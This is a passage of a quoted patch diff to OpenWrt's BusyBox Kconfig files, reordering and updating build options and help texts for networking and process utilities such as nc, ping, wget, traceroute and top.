> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> +	help
> +	  nameif is used to rename network interface by its MAC address.
> +	  Renamed interfaces MUST be in the down state.
> +	  It is possible to use a file (default: /etc/mactab)
> +	  with list of new interface names and MACs.
> +	  Maximum interface name length: IFNAMSIZ = 16
> +	  File fields are separated by space or tab.
> +	  File format:
> +	  # Comment
> +	  new_interface_name    XX:XX:XX:XX:XX:XX
>   
> +config BUSYBOX_CONFIG_FEATURE_NAMEIF_EXTENDED
> +	bool "Extended nameif"
> +	default BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
> +	depends on BUSYBOX_CONFIG_NAMEIF
> +	help
> +	  This extends the nameif syntax to support the bus_info, driver,
> +	  phyaddr selectors. The syntax is compatible to the normal nameif.
> +	  File format:
> +	    new_interface_name  driver=asix bus=usb-0000:00:08.2-3
> +	    new_interface_name  bus=usb-0000:00:08.2-3 00:80:C8:38:91:B5
> +	    new_interface_name  phy_address=2 00:80:C8:38:91:B5
> +	    new_interface_name  mac=00:80:C8:38:91:B5
> +	    new_interface_name  00:80:C8:38:91:B5
> +config BUSYBOX_CONFIG_NBDCLIENT
> +	bool "nbd-client"
> +	default BUSYBOX_DEFAULT_NBDCLIENT
> +	help
> +	  Network block device client
> +config BUSYBOX_CONFIG_NC
> +	bool "nc"
> +	default BUSYBOX_DEFAULT_NC
> +	help
> +	  A simple Unix utility which reads and writes data across network
> +	  connections.
> +
> +config BUSYBOX_CONFIG_NC_SERVER
> +	bool "Netcat server options (-l)"
> +	default BUSYBOX_DEFAULT_NC_SERVER
> +	depends on BUSYBOX_CONFIG_NC
> +	help
> +	  Allow netcat to act as a server.
> +
> +config BUSYBOX_CONFIG_NC_EXTRA
> +	bool "Netcat extensions (-eiw and -f FILE)"
> +	default BUSYBOX_DEFAULT_NC_EXTRA
> +	depends on BUSYBOX_CONFIG_NC
> +	help
> +	  Add -e (support for executing the rest of the command line after
> +	  making or receiving a successful connection), -i (delay interval for
> +	  lines sent), -w (timeout for initial connection).
> +
> +config BUSYBOX_CONFIG_NC_110_COMPAT
> +	bool "Netcat 1.10 compatibility (+2.5k)"
> +	default BUSYBOX_DEFAULT_NC_110_COMPAT  # off specially for Rob
> +	depends on BUSYBOX_CONFIG_NC
> +	help
> +	  This option makes nc closely follow original nc-1.10.
> +	  The code is about 2.5k bigger. It enables
> +	  -s ADDR, -n, -u, -v, -o FILE, -z options, but loses
> +	  busybox-specific extensions: -f FILE.
>   config BUSYBOX_CONFIG_NETMSG
>   	bool "netmsg"
>   	default BUSYBOX_DEFAULT_NETMSG
>   	help
>   	  simple program for sending udp broadcast messages
> -
>   config BUSYBOX_CONFIG_NETSTAT
>   	bool "netstat"
>   	default BUSYBOX_DEFAULT_NETSTAT
> @@ -843,13 +699,11 @@ config BUSYBOX_CONFIG_FEATURE_NETSTAT_PRG
>   	help
>   	  Add support for -p flag to print out PID and program name.
>   	  +700 bytes of code.
> -
>   config BUSYBOX_CONFIG_NSLOOKUP
>   	bool "nslookup"
>   	default BUSYBOX_DEFAULT_NSLOOKUP
>   	help
>   	  nslookup is a tool to query Internet name servers.
> -
>   config BUSYBOX_CONFIG_NTPD
>   	bool "ntpd"
>   	default BUSYBOX_DEFAULT_NTPD
> @@ -872,20 +726,39 @@ config BUSYBOX_CONFIG_FEATURE_NTPD_CONF
>   	help
>   	  Make ntpd look in /etc/ntp.conf for peers. Only "server address"
>   	  is supported.
> +config BUSYBOX_CONFIG_PING
> +	bool "ping"
> +	default BUSYBOX_DEFAULT_PING
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  ping uses the ICMP protocol's mandatory ECHO_REQUEST datagram to
> +	  elicit an ICMP ECHO_RESPONSE from a host or gateway.
>   
> +config BUSYBOX_CONFIG_PING6
> +	bool "ping6"
> +	default BUSYBOX_DEFAULT_PING6
> +	depends on BUSYBOX_CONFIG_FEATURE_IPV6
> +	help
> +	  This will give you a ping that can talk IPv6.
> +
> +config BUSYBOX_CONFIG_FEATURE_FANCY_PING
> +	bool "Enable fancy ping output"
> +	default BUSYBOX_DEFAULT_FEATURE_FANCY_PING
> +	depends on BUSYBOX_CONFIG_PING || BUSYBOX_CONFIG_PING6
> +	help
> +	  Make the output from the ping applet include statistics, and at the
> +	  same time provide full support for ICMP packets.
>   config BUSYBOX_CONFIG_PSCAN
>   	bool "pscan"
>   	default BUSYBOX_DEFAULT_PSCAN
>   	help
>   	  Simple network port scanner.
> -
>   config BUSYBOX_CONFIG_ROUTE
>   	bool "route"
>   	default BUSYBOX_DEFAULT_ROUTE
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Route displays or manipulates the kernel's IP routing tables.
> -
>   config BUSYBOX_CONFIG_SLATTACH
>   	bool "slattach"
>   	default BUSYBOX_DEFAULT_SLATTACH
> @@ -893,17 +766,6 @@ config BUSYBOX_CONFIG_SLATTACH
>   	help
>   	  slattach is a small utility to attach network interfaces to serial
>   	  lines.
> -
> -#config TC
> -#	bool "tc"
> -#	default y
> -#	help
> -#	  show / manipulate traffic control settings
> -#
> -#config FEATURE_TC_INGRESS
> -#	def_bool n
> -#	depends on TC
> -
>   config BUSYBOX_CONFIG_TCPSVD
>   	bool "tcpsvd"
>   	default BUSYBOX_DEFAULT_TCPSVD
> @@ -911,6 +773,12 @@ config BUSYBOX_CONFIG_TCPSVD
>   	  tcpsvd listens on a TCP port and runs a program for each new
>   	  connection.
>   
> +config BUSYBOX_CONFIG_UDPSVD
> +	bool "udpsvd"
> +	default BUSYBOX_DEFAULT_UDPSVD
> +	help
> +	  udpsvd listens on an UDP port and runs a program for each new
> +	  connection.
>   config BUSYBOX_CONFIG_TELNET
>   	bool "telnet"
>   	default BUSYBOX_DEFAULT_TELNET
> @@ -936,7 +804,6 @@ config BUSYBOX_CONFIG_FEATURE_TELNET_AUTOLOGIN
>   	  remote host you are connecting to. This is useful when you need to
>   	  log into a machine without telling the username (autologin). This
>   	  option enables `-a' and `-l USER' arguments.
> -
>   config BUSYBOX_CONFIG_TELNETD
>   	bool "telnetd"
>   	default BUSYBOX_DEFAULT_TELNETD
> @@ -978,7 +845,6 @@ config BUSYBOX_CONFIG_TELNETD
>   
>   	  with all that done, telnetd _should_ work....
>   
> -
>   config BUSYBOX_CONFIG_FEATURE_TELNETD_STANDALONE
>   	bool "Support standalone telnetd (not inetd only)"
>   	default BUSYBOX_DEFAULT_FEATURE_TELNETD_STANDALONE
> @@ -1006,7 +872,6 @@ config BUSYBOX_CONFIG_FEATURE_TELNETD_INETD_WAIT
>   	  This option is rarely used. "tcp nowait" is much more usual
>   	  way of running tcp services, including telnetd.
>   	  You most probably want to say N here.
> -
>   config BUSYBOX_CONFIG_TFTP
>   	bool "tftp"
>   	default BUSYBOX_DEFAULT_TFTP
> @@ -1071,7 +936,6 @@ config BUSYBOX_CONFIG_TFTP_DEBUG
>   	help
>   	  Make tftp[d] print debugging messages on stderr.
>   	  This is useful if you are diagnosing a bug in tftp[d].
> -
>   config BUSYBOX_CONFIG_TRACEROUTE
>   	bool "traceroute"
>   	default BUSYBOX_DEFAULT_TRACEROUTE
> @@ -1082,33 +946,24 @@ config BUSYBOX_CONFIG_TRACEROUTE
>   config BUSYBOX_CONFIG_TRACEROUTE6
>   	bool "traceroute6"
>   	default BUSYBOX_DEFAULT_TRACEROUTE6
> -	depends on BUSYBOX_CONFIG_FEATURE_IPV6 && BUSYBOX_CONFIG_TRACEROUTE
> +	depends on BUSYBOX_CONFIG_FEATURE_IPV6
>   	help
>   	  Utility to trace the route of IPv6 packets.
>   
>   config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_VERBOSE
>   	bool "Enable verbose output"
>   	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_VERBOSE
> -	depends on BUSYBOX_CONFIG_TRACEROUTE
> +	depends on BUSYBOX_CONFIG_TRACEROUTE || BUSYBOX_CONFIG_TRACEROUTE6
>   	help
>   	  Add some verbosity to traceroute. This includes among other things
>   	  hostnames and ICMP response types.
>   
> -config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_SOURCE_ROUTE
> -	bool "Enable loose source route"
> -	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_SOURCE_ROUTE
> -	depends on BUSYBOX_CONFIG_TRACEROUTE
> -	help
> -	  Add option to specify a loose source route gateway
> -	  (8 maximum).
> -
>   config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_USE_ICMP
> -	bool "Use ICMP instead of UDP"
> +	bool "Enable -I option (use ICMP instead of UDP)"
>   	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_USE_ICMP
> -	depends on BUSYBOX_CONFIG_TRACEROUTE
> +	depends on BUSYBOX_CONFIG_TRACEROUTE || BUSYBOX_CONFIG_TRACEROUTE6
>   	help
>   	  Add option -I to use ICMP ECHO instead of UDP datagrams.
> -
>   config BUSYBOX_CONFIG_TUNCTL
>   	bool "tunctl"
>   	default BUSYBOX_DEFAULT_TUNCTL
> @@ -1123,32 +978,101 @@ config BUSYBOX_CONFIG_FEATURE_TUNCTL_UG
>   	help
>   	  Allow to specify owner and group of newly created interface.
>   	  340 bytes of pure bloat. Say no here.
> +config BUSYBOX_CONFIG_VCONFIG
> +	bool "vconfig"
> +	default BUSYBOX_DEFAULT_VCONFIG
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Creates, removes, and configures VLAN interfaces
> +config BUSYBOX_CONFIG_WGET
> +	bool "wget"
> +	default BUSYBOX_DEFAULT_WGET
> +	help
> +	  wget is a utility for non-interactive download of files from HTTP
> +	  and FTP servers.
>   
> -source udhcp/Config.in
> +config BUSYBOX_CONFIG_FEATURE_WGET_STATUSBAR
> +	bool "Enable a nifty process meter (+2k)"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
> +	depends on BUSYBOX_CONFIG_WGET
> +	help
> +	  Enable the transfer progress bar for wget transfers.
>   
> -config BUSYBOX_CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS
> -	string "ifup udhcpc command line options"
> -	default BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
> -	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_UDHCPC
> +config BUSYBOX_CONFIG_FEATURE_WGET_AUTHENTICATION
> +	bool "Enable HTTP authentication"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
> +	depends on BUSYBOX_CONFIG_WGET
>   	help
> -	  Command line options to pass to udhcpc from ifup.
> -	  Intended to alter options not available in /etc/network/interfaces.
> -	  (IE: --syslog --background etc...)
> +	  Support authenticated HTTP transfers.
>   
> -config BUSYBOX_CONFIG_UDPSVD
> -	bool "udpsvd"
> -	default BUSYBOX_DEFAULT_UDPSVD
> +config BUSYBOX_CONFIG_FEATURE_WGET_LONG_OPTIONS
> +	bool "Enable long options"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
> +	depends on BUSYBOX_CONFIG_WGET && BUSYBOX_CONFIG_LONG_OPTS
>   	help
> -	  udpsvd listens on an UDP port and runs a program for each new
> -	  connection.
> +	  Support long options for the wget applet.
>   
> -config BUSYBOX_CONFIG_VCONFIG
> -	bool "vconfig"
> -	default BUSYBOX_DEFAULT_VCONFIG
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +config BUSYBOX_CONFIG_FEATURE_WGET_TIMEOUT
> +	bool "Enable timeout option -T SEC"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
> +	depends on BUSYBOX_CONFIG_WGET
>   	help
> -	  Creates, removes, and configures VLAN interfaces
> +	  Supports network read and connect timeouts for wget,
> +	  so that wget will give up and timeout, through the -T
> +	  command line option.
> +
> +	  Currently only connect and network data read timeout are
> +	  supported (i.e., timeout is not applied to the DNS query). When
> +	  FEATURE_WGET_LONG_OPTIONS is also enabled, the --timeout option
> +	  will work in addition to -T.
> +
> +config BUSYBOX_CONFIG_FEATURE_WGET_OPENSSL
> +	bool "Try to connect to HTTPS using openssl"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
> +	depends on BUSYBOX_CONFIG_WGET
> +	help
> +	  Choose how wget establishes SSL connection for https:// URLs.
> +
> +	  Busybox itself contains no SSL code. wget will spawn
> +	  a helper program to talk over HTTPS.
> +
> +	  OpenSSL has a simple SSL client for debug purposes.
> +	  If you select "openssl" helper, wget will effectively run:
> +	  "openssl s_client -quiet -connect hostname:443
> +	  -servername hostname 2>/dev/null" and pipe its data
> +	  through it. -servername is not used if hostname is numeric.
> +	  Note inconvenient API: host resolution is done twice,
> +	  and there is no guarantee openssl's idea of IPv6 address
> +	  format is the same as ours.
> +	  Another problem is that s_client prints debug information
> +	  to stderr, and it needs to be suppressed. This means
> +	  all error messages get suppressed too.
> +	  openssl is also a big binary, often dynamically linked
> +	  against ~15 libraries.
> +
> +config BUSYBOX_CONFIG_FEATURE_WGET_SSL_HELPER
> +	bool "Try to connect to HTTPS using ssl_helper"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
> +	depends on BUSYBOX_CONFIG_WGET
> +	help
> +	  Choose how wget establishes SSL connection for https:// URLs.
> +
> +	  Busybox itself contains no SSL code. wget will spawn
> +	  a helper program to talk over HTTPS.
>   
> +	  ssl_helper is a tool which can be built statically
> +	  from busybox sources against a small embedded SSL library.
> +	  Please see networking/ssl_helper/README.
> +	  It does not require double host resolution and emits
> +	  error messages to stderr.
> +
> +	  Precompiled static binary may be available at
> +	  http://busybox.net/downloads/binaries/
> +config BUSYBOX_CONFIG_WHOIS
> +	bool "whois"
> +	default BUSYBOX_DEFAULT_WHOIS
> +	help
> +	  whois is a client for the whois directory service
>   config BUSYBOX_CONFIG_ZCIP
>   	bool "zcip"
>   	default BUSYBOX_DEFAULT_ZCIP
> @@ -1162,4 +1086,15 @@ config BUSYBOX_CONFIG_ZCIP
>   	  See http://www.zeroconf.org for further details, and "zcip.script"
>   	  in the busybox examples.
>   
> +source udhcp/Config.in
> +
> +config BUSYBOX_CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS
> +	string "ifup udhcpc command line options"
> +	default BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
> +	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_UDHCPC
> +	help
> +	  Command line options to pass to udhcpc from ifup.
> +	  Intended to alter options not available in /etc/network/interfaces.
> +	  (IE: --syslog --background etc...)
> +
>   endmenu
> diff --git a/package/utils/busybox/config/networking/udhcp/Config.in b/package/utils/busybox/config/networking/udhcp/Config.in
> index 4f48400..cdba5d5 100644
> --- a/package/utils/busybox/config/networking/udhcp/Config.in
> +++ b/package/utils/busybox/config/networking/udhcp/Config.in
> @@ -22,7 +22,6 @@ config BUSYBOX_CONFIG_UDHCPD
>   config BUSYBOX_CONFIG_DHCPRELAY
>   	bool "dhcprelay"
>   	default BUSYBOX_DEFAULT_DHCPRELAY
> -	depends on BUSYBOX_CONFIG_UDHCPD
>   	help
>   	  dhcprelay listens for dhcp requests on one or more interfaces
>   	  and forwards these requests to a different interface or dhcp
> @@ -31,7 +30,6 @@ config BUSYBOX_CONFIG_DHCPRELAY
>   config BUSYBOX_CONFIG_DUMPLEASES
>   	bool "Lease display utility (dumpleases)"
>   	default BUSYBOX_DEFAULT_DUMPLEASES
> -	depends on BUSYBOX_CONFIG_UDHCPD
>   	help
>   	  dumpleases displays the leases written out by the udhcpd server.
>   	  Lease times are stored in the file by time remaining in lease, or
> diff --git a/package/utils/busybox/config/procps/Config.in b/package/utils/busybox/config/procps/Config.in
> index 6eafbda..6bc5ec0 100644
> --- a/package/utils/busybox/config/procps/Config.in
> +++ b/package/utils/busybox/config/procps/Config.in
> @@ -6,122 +6,6 @@
>   
>   menu "Process Utilities"
>   
> -config BUSYBOX_CONFIG_IOSTAT
> -	bool "iostat"
> -	default BUSYBOX_DEFAULT_IOSTAT
> -	help
> -	  Report CPU and I/O statistics
> -config BUSYBOX_CONFIG_LSOF
> -	bool "lsof"
> -	default BUSYBOX_DEFAULT_LSOF
> -	help
> -	  Show open files in the format of:
> -	  PID <TAB> /path/to/executable <TAB> /path/to/opened/file
> -config BUSYBOX_CONFIG_MPSTAT
> -	bool "mpstat"
> -	default BUSYBOX_DEFAULT_MPSTAT
> -	help
> -	  Per-processor statistics
> -config BUSYBOX_CONFIG_NMETER
> -	bool "nmeter"
> -	default BUSYBOX_DEFAULT_NMETER
> -	help
> -	  Prints selected system stats continuously, one line per update.
> -config BUSYBOX_CONFIG_PMAP
> -       bool "pmap"
> -       default BUSYBOX_DEFAULT_PMAP
> -       help
> -         Display processes' memory mappings.
> -config BUSYBOX_CONFIG_POWERTOP
> -	bool "powertop"
> -	default BUSYBOX_DEFAULT_POWERTOP
> -	help
> -	  Analyze power consumption on Intel-based laptops
> -config BUSYBOX_CONFIG_PSTREE
> -	bool "pstree"
> -	default BUSYBOX_DEFAULT_PSTREE
> -	help
> -	  Display a tree of processes.
> -config BUSYBOX_CONFIG_PWDX
> -	bool "pwdx"
> -	default BUSYBOX_DEFAULT_PWDX
> -	help
> -	  Report current working directory of a process
> -config BUSYBOX_CONFIG_SMEMCAP
> -	bool "smemcap"
> -	default BUSYBOX_DEFAULT_SMEMCAP
> -	help
> -	  smemcap is a tool for capturing process data for smem,
> -	  a memory usage statistic tool.
> -config BUSYBOX_CONFIG_TOP
> -	bool "top"
> -	default BUSYBOX_DEFAULT_TOP
> -	help
> -	  The top program provides a dynamic real-time view of a running
> -	  system.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> -	bool "Show CPU per-process usage percentage"
> -	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> -	depends on BUSYBOX_CONFIG_TOP
> -	help
> -	  Make top display CPU usage for each process.
> -	  This adds about 2k.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> -	bool "Show CPU global usage percentage"
> -	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> -	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> -	help
> -	  Makes top display "CPU: NN% usr NN% sys..." line.
> -	  This adds about 0.5k.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOP_SMP_CPU
> -	bool "SMP CPU usage display ('c' key)"
> -	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
> -	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> -	help
> -	  Allow 'c' key to switch between individual/cumulative CPU stats
> -	  This adds about 0.5k.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOP_DECIMALS
> -	bool "Show 1/10th of a percent in CPU/mem statistics"
> -	default BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
> -	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> -	help
> -	  Show 1/10th of a percent in CPU/mem statistics.
> -	  This adds about 0.3k.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOP_SMP_PROCESS
> -	bool "Show CPU process runs on ('j' field)"
> -	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
> -	depends on BUSYBOX_CONFIG_TOP
> -	help
> -	  Show CPU where process was last found running on.
> -	  This is the 'j' field.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOPMEM
> -	bool "Topmem command ('s' key)"
> -	default BUSYBOX_DEFAULT_FEATURE_TOPMEM
> -	depends on BUSYBOX_CONFIG_TOP
> -	help
> -	  Enable 's' in top (gives lots of memory info).
> -config BUSYBOX_CONFIG_UPTIME
> -	bool "uptime"
> -	default BUSYBOX_DEFAULT_UPTIME
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX #sysinfo()
> -	help
> -	  uptime gives a one line display of the current time, how long
> -	  the system has been running, how many users are currently logged
> -	  on, and the system load averages for the past 1, 5, and 15 minutes.
> -
> -config BUSYBOX_CONFIG_FEATURE_UPTIME_UTMP_SUPPORT
> -	bool "Support for showing the number of users"
> -	default BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
> -	depends on BUSYBOX_CONFIG_UPTIME && BUSYBOX_CONFIG_FEATURE_UTMP
> -	help
> -	  Makes uptime display the number of users currently logged on.
> -
>   config BUSYBOX_CONFIG_FREE
>   	bool "free"
>   	default BUSYBOX_DEFAULT_FREE
> @@ -130,7 +14,6 @@ config BUSYBOX_CONFIG_FREE
>   	  free displays the total amount of free and used physical and swap
>   	  memory in the system, as well as the buffers used by the kernel.
>   	  The shared memory column should be ignored; it is obsolete.
> -
>   config BUSYBOX_CONFIG_FUSER
>   	bool "fuser"
>   	default BUSYBOX_DEFAULT_FUSER
> @@ -138,7 +21,11 @@ config BUSYBOX_CONFIG_FUSER
>   	  fuser lists all PIDs (Process IDs) that currently have a given
>   	  file open. fuser can also list all PIDs that have a given network
>   	  (TCP or UDP) port open.
> -
> +config BUSYBOX_CONFIG_IOSTAT
> +	bool "iostat"
> +	default BUSYBOX_DEFAULT_IOSTAT
> +	help
> +	  Report CPU and I/O statistics
>   config BUSYBOX_CONFIG_KILL
>   	bool "kill"
>   	default BUSYBOX_DEFAULT_KILL
> @@ -150,7 +37,6 @@ config BUSYBOX_CONFIG_KILL
>   config BUSYBOX_CONFIG_KILLALL
>   	bool "killall"
>   	default BUSYBOX_DEFAULT_KILLALL
> -	depends on BUSYBOX_CONFIG_KILL
>   	help
>   	  killall sends a signal to all processes running any of the
>   	  specified commands. If no signal name is specified, SIGTERM is
> @@ -159,14 +45,38 @@ config BUSYBOX_CONFIG_KILLALL
>   config BUSYBOX_CONFIG_KILLALL5
>   	bool "killall5"
>   	default BUSYBOX_DEFAULT_KILLALL5
> -	depends on BUSYBOX_CONFIG_KILL
> -
> +	help
> +	  The SystemV killall command. killall5 sends a signal
> +	  to all processes except kernel threads and the processes
> +	  in its own session, so it won't kill the shell that is running
> +	  the script it was called from.
> +config BUSYBOX_CONFIG_LSOF
> +	bool "lsof"
> +	default BUSYBOX_DEFAULT_LSOF
> +	help
> +	  Show open files in the format of:
> +	  PID <TAB> /path/to/executable <TAB> /path/to/opened/file
> +config BUSYBOX_CONFIG_MPSTAT
> +	bool "mpstat"
> +	default BUSYBOX_DEFAULT_MPSTAT
> +	help
> +	  Per-processor statistics
> +config BUSYBOX_CONFIG_NMETER
> +	bool "nmeter"
> +	default BUSYBOX_DEFAULT_NMETER
> +	help
> +	  Prints selected system stats continuously, one line per update.
>   config BUSYBOX_CONFIG_PGREP
>   	bool "pgrep"
>   	default BUSYBOX_DEFAULT_PGREP
>   	help
>   	  Look for processes by name.
>   
> +config BUSYBOX_CONFIG_PKILL
> +	bool "pkill"
> +	default BUSYBOX_DEFAULT_PKILL
> +	help
> +	  Send signals to processes by name.
>   config BUSYBOX_CONFIG_PIDOF
>   	bool "pidof"
>   	default BUSYBOX_DEFAULT_PIDOF
> @@ -189,13 +99,16 @@ config BUSYBOX_CONFIG_FEATURE_PIDOF_OMIT
>   	  Support argument '-o' for omitting the given pids in output.
>   	  The special pid %PPID can be used to name the parent process
>   	  of the pidof, in other words the calling shell or shell script.
> -
> -config BUSYBOX_CONFIG_PKILL
> -	bool "pkill"
> -	default BUSYBOX_DEFAULT_PKILL
> +config BUSYBOX_CONFIG_PMAP
> +       bool "pmap"
> +       default BUSYBOX_DEFAULT_PMAP
> +       help
> +         Display processes' memory mappings.
> +config BUSYBOX_CONFIG_POWERTOP
> +	bool "powertop"
> +	default BUSYBOX_DEFAULT_POWERTOP
>   	help
> -	  Send signals to processes by name.
> -
> +	  Analyze power consumption on Intel-based laptops
>   config BUSYBOX_CONFIG_PS
>   	bool "ps"
>   	default BUSYBOX_DEFAULT_PS
> @@ -241,28 +154,101 @@ config BUSYBOX_CONFIG_FEATURE_PS_UNUSUAL_SYSTEMS
>   	help
>   	  Include support for measuring HZ on old kernels and non-ELF systems
>   	  (if you are on Linux 2.4.0+ and use ELF, you don't need this)
> -
> +config BUSYBOX_CONFIG_PSTREE
> +	bool "pstree"
> +	default BUSYBOX_DEFAULT_PSTREE
> +	help
> +	  Display a tree of processes.
> +config BUSYBOX_CONFIG_PWDX
> +	bool "pwdx"
> +	default BUSYBOX_DEFAULT_PWDX
> +	help
> +	  Report current working directory of a process
>   config BUSYBOX_CONFIG_RENICE
>   	bool "renice"
>   	default BUSYBOX_DEFAULT_RENICE
>   	help
>   	  Renice alters the scheduling priority of one or more running
>   	  processes.
> -
> +config BUSYBOX_CONFIG_SMEMCAP
> +	bool "smemcap"
> +	default BUSYBOX_DEFAULT_SMEMCAP
> +	help
> +	  smemcap is a tool for capturing process data for smem,
> +	  a memory usage statistic tool.
>   config BUSYBOX_CONFIG_BB_SYSCTL
>   	bool "sysctl"
>   	default BUSYBOX_DEFAULT_BB_SYSCTL
>   	help
>   	  Configure kernel parameters at runtime.
> +config BUSYBOX_CONFIG_TOP
> +	bool "top"
> +	default BUSYBOX_DEFAULT_TOP
> +	help
> +	  The top program provides a dynamic real-time view of a running
> +	  system.
>   
> -config BUSYBOX_CONFIG_FEATURE_SHOW_THREADS
> -	bool "Support for showing threads in ps/pstree/top"
> -	default BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
> -	depends on BUSYBOX_CONFIG_PS || BUSYBOX_CONFIG_TOP || BUSYBOX_CONFIG_PSTREE
> +config BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> +	bool "Show CPU per-process usage percentage"
> +	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> +	depends on BUSYBOX_CONFIG_TOP
>   	help
> -	  Enables the ps -T option, showing of threads in pstree,
> -	  and 'h' command in top.
> +	  Make top display CPU usage for each process.
> +	  This adds about 2k.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> +	bool "Show CPU global usage percentage"
> +	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> +	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> +	help
> +	  Makes top display "CPU: NN% usr NN% sys..." line.
> +	  This adds about 0.5k.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOP_SMP_CPU
> +	bool "SMP CPU usage display ('c' key)"
> +	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
> +	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> +	help
> +	  Allow 'c' key to switch between individual/cumulative CPU stats
> +	  This adds about 0.5k.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOP_DECIMALS
> +	bool "Show 1/10th of a percent in CPU/mem statistics"
> +	default BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
> +	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> +	help
> +	  Show 1/10th of a percent in CPU/mem statistics.
> +	  This adds about 0.3k.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOP_SMP_PROCESS
> +	bool "Show CPU process runs on ('j' field)"
> +	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
> +	depends on BUSYBOX_CONFIG_TOP
> +	help
> +	  Show CPU where process was last found running on.
> +	  This is the 'j' field.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOPMEM
> +	bool "Topmem command ('s' key)"
> +	default BUSYBOX_DEFAULT_FEATURE_TOPMEM
> +	depends on BUSYBOX_CONFIG_TOP
> +	help
> +	  Enable 's' in top (gives lots of memory info).
> +config BUSYBOX_CONFIG_UPTIME
> +	bool "uptime"
> +	default BUSYBOX_DEFAULT_UPTIME
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX #sysinfo()
> +	help
> +	  uptime gives a one line display of the current time, how long
> +	  the system has been running, how many users are currently logged
> +	  on, and the system load averages for the past 1, 5, and 15 minutes.
>   
> +config BUSYBOX_CONFIG_FEATURE_UPTIME_UTMP_SUPPORT
> +	bool "Support for showing the number of users"
> +	default BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
> +	depends on BUSYBOX_CONFIG_UPTIME && BUSYBOX_CONFIG_FEATURE_UTMP
> +	help
> +	  Makes uptime display the number of users currently logged on.
>   config BUSYBOX_CONFIG_WATCH
>   	bool "watch"
>   	default BUSYBOX_DEFAULT_WATCH
> @@ -270,4 +256,12 @@ config BUSYBOX_CONFIG_WATCH
>   	  watch is used to execute a program periodically, showing
>   	  output to the screen.
>   
> +config BUSYBOX_CONFIG_FEATURE_SHOW_THREADS
> +	bool "Support for showing threads in ps/pstree/top"
> +	default BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
> +	depends on BUSYBOX_CONFIG_PS || BUSYBOX_CONFIG_TOP || BUSYBOX_CONFIG_PSTREE
> +	help
> +	  Enables the ps -T option, showing of threads in pstree,
> +	  and 'h' command in top.
> +
>   endmenu
> diff --git a/package/utils/busybox/config/runit/Config.in b/package/utils/busybox/config/runit/Config.in
> index a322a2c..8750b59 100644
> --- a/package/utils/busybox/config/runit/Config.in
> +++ b/package/utils/busybox/config/runit/Config.in
> @@ -73,6 +73,13 @@ config BUSYBOX_CONFIG_SV_DEFAULT_SERVICE_DIR
>   	help
>   	  Default directory for services.
>   	  Defaults to "/var/service"
> +
> +config BUSYBOX_CONFIG_SVC
> +	bool "svc"
> +	default BUSYBOX_DEFAULT_SVC
> +	help
